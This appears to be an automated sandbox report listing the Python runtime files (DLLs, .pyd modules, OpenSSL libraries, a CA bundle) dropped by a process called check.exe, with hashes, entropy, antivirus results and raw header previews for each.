Size (bytes):	49744
Entropy (8bit):	6.701724666218339
Encrypted:	false
SSDEEP:	768:ApzzO6ujT3MbR3v0Cz6SR8q83yaFdWr9zRcmgEl6U9zSC:9q/oGw3fFdwzRcmZFzSC
MD5:	68156F41AE9A04D89BB6625A5CD222D4
SHA1:	3BE29D5C53808186EBA3A024BE377EE6F267C983
SHA-256:	82A2F9AE1E6146AE3CB0F4BC5A62B7227E0384209D9B1AEF86BBCC105912F7CD
SHA-512:	F7BF8AD7CD8B450050310952C56F6A20B378A972C822CCC253EF3D7381B56FFB3CA6CE3323BEA9872674ED1C02017F78AB31E9EB9927FC6B3CBA957C247E5D57
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.{...{...{...0...y.......y...r.H.p...{...H.......\|.......`.......~.......z.....$.z.......z...Rich{...........PE..d...l0.?.........." ...).<...8.......@...............................................b....`A........................................pm.......m..x....................r..PP......D....c..p...........................`b..@............P..`............................text....;.......<.................. ..`.rdata.."#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84240
Entropy (8bit):	6.607563436050078
Encrypted:	false
SSDEEP:	1536:Kdrz7l1EVLsSuvX3dUK4MLgqK7YEog8y5sV8lIJLVy7SyFB:urzcuvXvrEo7y6V8lIJLVyB
MD5:	CB8C06C8FA9E61E4AC5F22EEBF7F1D00
SHA1:	D8E0DFC8127749947B09F17C8848166BAC659F0D
SHA-256:	FC3B481684B926350057E263622A2A5335B149A0498A8D65C4F37E39DD90B640
SHA-512:	E6DA642B7200BFB78F939F7D8148581259BAA9A5EDDA282C621D14BA88083A9B9BD3D17B701E9CDE77AD1133C39BD93FC9D955BB620546BB4FCF45C68F1EC7D6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..\|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).....\......0........................................P......7[....`.............................................H...(........0....... .. ......../...@..........T...........................`...@...............x............................text............................... ..`.rdata...=.......>..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131344
Entropy (8bit):	6.311142284249784
Encrypted:	false
SSDEEP:	3072:3RF024DWkT/DKGkXY402iXnVJf/FO50XnekZ39gPhvEQZIJyPArm:j0nHT/DKFXZorf/FO50uW3SEQt
MD5:	A55E57D7594303C89B5F7A1D1D6F2B67
SHA1:	904A9304A07716497CF3E4EAAFD82715874C94F1
SHA-256:	F63C6C7E71C342084D8F1A108786CA6975A52CEFEF8BE32CC2589E6E2FE060C8
SHA-512:	FFA61AD2A408A831B5D86B201814256C172E764C9C1DBE0BD81A2E204E9E8117C66F5DFA56BB7D74275D23154C0ED8E10D4AE8A0D0564434E9761D754F1997FC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............h....................................... .......Z....`.........................................P.................................../...........=..T............................;..@............0...............................text............................... ..`.rdata...y...0...z..................@..@.data....$....... ..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	277776
Entropy (8bit):	6.5855511991551
Encrypted:	false
SSDEEP:	6144:x9iD78EIq4x4OA5bZZ0KDgQcI79qWM53pLW1AFR8E4wXw76TPlpV77777VMvyk:xwDGqr5b8EgQ5+w6k
MD5:	F3377F3DE29579140E2BBAEEFD334D4F
SHA1:	B3076C564DBDFD4CA1B7CC76F36448B0088E2341
SHA-256:	B715D1C18E9A9C1531F21C02003B4C6726742D1A2441A1893BC3D79D7BB50E91
SHA-512:	34D9591590BBA20613691A5287EF329E5927A58127CE399088B4D68A178E3AF67159A8FC55B4FCDCB08AE094753B20DEC2AC3F0B3011481E4ED6F37445CECDD5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....Z...............................................P......W.....`.................................................L........0..........t+......./...@..........T...............................@............... ............................text.............................. ..`.rdata..\...........................@..@.data...8'......."..................@....pdata..t+.......,..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64272
Entropy (8bit):	6.220967684620152
Encrypted:	false
SSDEEP:	768:eNJI0DWiflFwY9X3Th1JnptE462TxNvdbj4dIJvI75YiSyvE62Em:2LDxflFwY9XDhPfVNv+dIJvIF7Syc6c
MD5:	32D76C9ABD65A5D2671AEEDE189BC290
SHA1:	0D4440C9652B92B40BB92C20F3474F14E34F8D62
SHA-256:	838D5C8B7C3212C8429BAF612623ABBBC20A9023EEC41E34E5461B76A285B86C
SHA-512:	49DC391F4E63F4FF7D65D6FD837332745CC114A334FD61A7B6AA6F710B235339964B855422233FAC4510CCB9A6959896EFE880AB24A56261F78B2A0FD5860CD9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P...~.......=..............................................!.....`.........................................p...P................................/......X....l..T............................k..@............`...............................text....N.......P.................. ..`.rdata...M...`...N...T..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	157968
Entropy (8bit):	6.854644275249963
Encrypted:	false
SSDEEP:	3072:KbbS4R/G4Z8r7NjwJTSUqCRY4By7znfB9mNowgn0lCelIJ012+j:KbR/8oWeBi5YOwflCe8o
MD5:	1BA022D42024A655CF289544AE461FB8
SHA1:	9772A31083223ECF66751FF3851D2E3303A0764C
SHA-256:	D080EABD015A3569813A220FD4EA74DFF34ED2A8519A10473EB37E22B1118A06
SHA-512:	2B888A2D7467E29968C6BB65AF40D4B5E80722FFDDA760AD74C912F3A2F315D402F3C099FDE82F00F41DE6C9FAAEDB23A643337EB8821E594C567506E3464C62
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...).`...........1.......................................p.......P....`.............................................L.......x....P.......0.......:.../...`..4....\|..T...........................P{..@............p...............................text...^^.......`.................. ..`.rdata.......p.......d..............@..@.data........ ......................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc..4....`.......8..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33552
Entropy (8bit):	6.446391764486538
Encrypted:	false
SSDEEP:	384:7GpPCRjqMu/AoS6rf7sif0NHQibZIJ9UoOHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:fkTM6rg9aeZIJ9Uok5YiSyvTo2Et
MD5:	1C03CAA59B5E4A7FB9B998D8C1DA165A
SHA1:	8A318F80A705C64076E22913C2206D9247D30CD7
SHA-256:	B9CF502DADCB124F693BF69ECD7077971E37174104DBDA563022D74961A67E1E
SHA-512:	783ECDA7A155DFC96A718D5A130FB901BBECBED05537434E779135CBA88233DD990D86ECA2F55A852C9BFB975074F7C44D8A3E4558D7C2060F411CE30B6A915F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).....:.......................................................r....`.........................................PD..L....D..d....p.......`..l....T.../..........@4..T............................3..@............0...............................text............................... ..`.rdata..2....0....... ..............@..@.data........P.......>..............@....pdata..l....`.......D..............@..@.rsrc........p.......H..............@..@.reloc...............R..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83728
Entropy (8bit):	6.331814573029388
Encrypted:	false
SSDEEP:	1536:XuV3gvWHQdMq3ORC/OypTXQlyJ+9+nzEYwsBI6tzOKuZIJywJ7Sy21:XuVQvcQTSypTXQlyJs+nzEYJI6QlZIJY
MD5:	FE896371430BD9551717EF12A3E7E818
SHA1:	E2A7716E9CE840E53E8FC79D50A77F40B353C954
SHA-256:	35246B04C6C7001CA448554246445A845CE116814A29B18B617EA38752E4659B
SHA-512:	67ECD9A07DF0A07EDD010F7E3732F3D829F482D67869D6BCE0C9A61C24C0FDC5FF4F4E4780B9211062A6371945121D8883BA2E9E2CF8EB07B628547312DFE4C9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m\|.ll}..o\|.ll}..h\|.ll}..i\|.ll}..m\|.ll}.lm}.ll}..m\|.ll}..a\|.ll}..l\|.ll}..}.ll}..n\|.ll}Rich.ll}........PE..d.....g.........." ...).x.......... -.......................................`.......s....`.........................................@...P............@.......0.........../...P..........T...........................@...@............................................text....w.......x.................. ..`.rdata.. y.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	181520
Entropy (8bit):	5.972827303352998
Encrypted:	false
SSDEEP:	3072:kO+IWyXHllRhN1qhep7fM6CpqjZI8u7pUULbaLZErWreVEzvT3iFCNc6tYwJc1OW:kpSrhN1E2M6CpUuwg5dEW7
MD5:	1C0E3E447F719FBE2601D0683EA566FC
SHA1:	5321AB73B36675B238AB3F798C278195223CD7B1
SHA-256:	63AE2FEFBFBBBC6EA39CDE0A622579D46FF55134BC8C1380289A2976B61F603E
SHA-512:	E1A430DA2A2F6E0A1AED7A76CC4CD2760B3164ABC20BE304C1DB3541119942508E53EA3023A52B8BADA17A6052A7A51A4453EFAD1A888ACB3B196881226C2E5C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...)............ /..............................................R\....`.............................................d................................/..............T...........................P...@............................................text...0........................... ..`.rdata..D%.......&..................@..@.data...`...........................@....pdata...............n..............@..@.rsrc................z..............@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\_wmi.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38160
Entropy (8bit):	6.338856805460127
Encrypted:	false
SSDEEP:	768:fEkK9VgWOZbs3550QcJpPllIJLiX5YiSyvQ602Euf0:fE93jkbQcJvlIJLiJ7Syq00
MD5:	1C30CC7DF3BD168D883E93C593890B43
SHA1:	31465425F349DAE4EDAC9D0FEABC23CE83400807
SHA-256:	6435C679A3A3FF4F16708EBC43F7CA62456C110AC1EA94F617D8052C90C143C7
SHA-512:	267A1807298797B190888F769D998357B183526DFCB25A6F1413E64C5DCCF87F51424B7E5D6F2349D7A19381909AB23B138748D8D9F5858F7DC0552F5C5846AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H2.&a.&a.&a..a.&a..'`.&a..%`.&a.."`.&a..'`.&a..#`.&a..'`.&a.'a..&a.."`.&a../`.&a..&`.&a...a.&a..$`.&aRich.&a................PE..d.....g.........." ...).,...<.......)..............................................'.....`.........................................0V..H...xV.......................f.../......x...tG..T............................C..@............@.......T..@....................text....*.......,.................. ..`.rdata..d ...@..."...0..............@..@.data........p.......R..............@....pdata...............V..............@..@.rsrc................Z..............@..@.reloc..x............d..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\base_library.zip

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1394456
Entropy (8bit):	5.531698507573688
Encrypted:	false
SSDEEP:	12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
MD5:	A9CBD0455B46C7D14194D1F18CA8719E
SHA1:	E1B0C30BCCD9583949C247854F617AC8A14CBAC7
SHA-256:	DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
SHA-512:	B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
Malicious:	false
Preview:	PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

C:\Users\user\AppData\Local\Temp\_MEI29362\certifi\cacert.pem

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md.cp313-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.818583535960129
Encrypted:	false
SSDEEP:	96:Mvs10hZd9D74ACb0xx2uKynu10YLsgxwJiUNiL0U5IZsJFPGDtCFCCQAADo+cX6m:MXv9XFCk2z1/t12iwU5usJFuCyPcqgE
MD5:	56FE4F6C7E88212161F49E823CCC989A
SHA1:	16D5CBC5F289AD90AEAA4FF7CB828627AC6D4ACF
SHA-256:	002697227449B6D69026D149CFB220AC85D83B13056C8AA6B9DAC3FD3B76CAA4
SHA-512:	7C9D09CF9503F73E6F03D30E54DBB50606A86D09B37302DD72238880C000AE2B64C99027106BA340753691D67EC77B3C6E5004504269508F566BDB5E13615F1E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k............r_...........r................................................3..........Rich....................PE..d....$.g.........." ...).....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md__mypyc.cp313-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	124928
Entropy (8bit):	5.953784637413928
Encrypted:	false
SSDEEP:	3072:JDE+0ov6ojgN3qN8h51Zlh+YW5E38vCsmLS:JdefPZE2ICDLS
MD5:	10116447F9276F10664BA85A5614BA3A
SHA1:	EFD761A3E6D14E897D37AFB0C7317C797F7AE1D6
SHA-256:	C393098E7803ABF08EE8F7381AD7B0F8FAFFBF66319C05D72823308E898F8CFC
SHA-512:	C04461E52B7FE92D108CBDEB879B7A8553DD552D79C88DFA3F5D0036EED8D4B8C839C0BF2563BC0C796F8280ED2828CA84747CB781D2F26B44214FCA2091EAE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........y.....................7...............7.......7.......7.......6..........D....6.......6.......6.......6......Rich............................PE..d....$.g.........." ...).@...........C.......................................0............`.........................................0...d.................................... ......................................P...@............P...............................text....?.......@.................. ..`.rdata..nY...P...Z...D..............@..@.data....=.......0..................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:	98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39696
Entropy (8bit):	6.641880464695502
Encrypted:	false
SSDEEP:	768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5:	0F8E4992CA92BAAF54CC0B43AACCCE21
SHA1:	C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
SHA-256:	EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
SHA-512:	6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\libssl-3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:	12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\psutil\_psutil_windows.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67072
Entropy (8bit):	5.909456553599775
Encrypted:	false
SSDEEP:	1536:j3sHmR02IvVxv7WCyKm7c5Th4JBHTOvyyaZE:jnIvryCyKx5Th4J5OvyyO
MD5:	49AC12A1F10AB93FAFAB064FD0523A63
SHA1:	3AD6923AB0FB5D3DD9D22ED077DB15B42C2FBD4F
SHA-256:	BA033B79E858DBFCBA6BF8FB5AFE10DEFD1CB03957DBBC68E8E62E4DE6DF492D
SHA-512:	1BC0F50E0BB0A9D9DDDAD31390E5C73B0D11C2B0A8C5462065D477E93FF21F7EDC7AA2B2B36E478BE0A797A38F43E3FBEB6AAABEF0BADEC1D8D16EB73DF67255
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......nT..5..5..5..#M2. 5..x@..(5..x@..&5..x@.."5..x@...5...k..(5..aM..;5..5...5...@..:5...@..+5...@^.+5...@..+5..Rich*5..................PE..d...._.g.........." .........h......\........................................@............`.........................................0...`.......@.... .......................0..(.......................................8............................................text...h........................... ..`.rdata..\I.......J..................@..@.data...x...........................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..(....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\python3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	70416
Entropy (8bit):	6.1258200129869405
Encrypted:	false
SSDEEP:	768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
MD5:	16855EBEF31C5B1EBE767F1C617645B3
SHA1:	315521F3A748ABFA35CD4D48E8DD09D0556D989B
SHA-256:	A5C6A329698490A035133433928D04368CE6285BB91A9D074FC285DE4C9A32A4
SHA-512:	C3957B3BD36B10C7AD6EA1FF3BC7BD65CDCEB3E6B4195A25D0649AA0DA179276CE170DA903D77B50A38FC3D5147A45BE32DBCFDBFBF76CC46301199C529ADEA4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%?..a^e.a^e.a^e.).m.`^e.).e.`^e.)..`^e.).g.`^e.Richa^e.........PE..d......g.........." ...)............................................................z.....`.........................................`..................................../..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI29362\python313.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6083856
Entropy (8bit):	6.126922729922386
Encrypted:	false
SSDEEP:	49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
MD5:	B9DE917B925DD246B709BB4233777EFD
SHA1:	775F258D8B530C6EA9F0DD3D1D0B61C1948C25D2
SHA-256:	0C0A66505093B6A4BB3475F716BD3D9552095776F6A124709C13B3F9552C7D99
